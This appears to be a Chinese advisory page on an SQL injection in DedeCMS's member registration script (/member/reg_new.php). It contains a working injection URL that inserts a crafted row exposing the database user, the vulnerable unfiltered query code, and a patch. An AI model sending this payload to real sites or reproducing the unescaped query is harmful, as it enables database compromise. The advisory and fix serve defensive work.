dedecms织梦 /member/reg_new.php SQL注入漏洞

2019-05-07 08:30:14 织梦安装使用
  • 文章介绍
1. 漏洞描述
 
Dedecms会员中心注入漏洞
 
2. 漏洞触发条件

1 /member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=
2 //把vdcode=slum改成当前的验证码

3. 漏洞影响范围
 
4. 漏洞代码分析
 
/member/reg_new.php

01 ..
02 $jointime = time();
03 $logintime = time();
04 $joinip = GetIP();
05 $loginip = GetIP();
06 $pwd = md5($userpwd);
07  
08 $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
09  
10 //未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询
11 $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
12 `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
13 VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
14 '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
15  
16 if($dsql->ExecuteNoneQuery($inQuery))
17 ..

5. 防御方法
 
/member/reg_new.php

01 ..
02 $jointime = time();
03 $logintime = time();
04 $joinip = GetIP();
05 $loginip = GetIP();
06 $pwd = md5($userpwd);
07 /* 对$mtype、$safeanswer、$safequestion进行有效过滤 */
08     $mtype = HtmlReplace($mtype,1);
09     $safeanswer = HtmlReplace($safeanswer);
10     $safequestion = HtmlReplace($safequestion);
11 /* */
12  
13 $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
14  
15 $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
16 `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
17 VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
18 '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
19 if($dsql->ExecuteNoneQuery($inQuery))
20 {
21 ..

上一篇:织梦dedecms百度快照劫持注入代码防..

下一篇:鸟哥:写在12月3日PHP 7发布之际..

相关文档推荐

精品模板推荐

专业的织梦模板定制下载站,在线购买后即可下载!

商业源码

跟版网模板,累计帮助5000+客户企业成功建站,为草根创业提供助力!

立刻开启你的建站之旅

QQ在线客服

服务热线

织梦建站咨询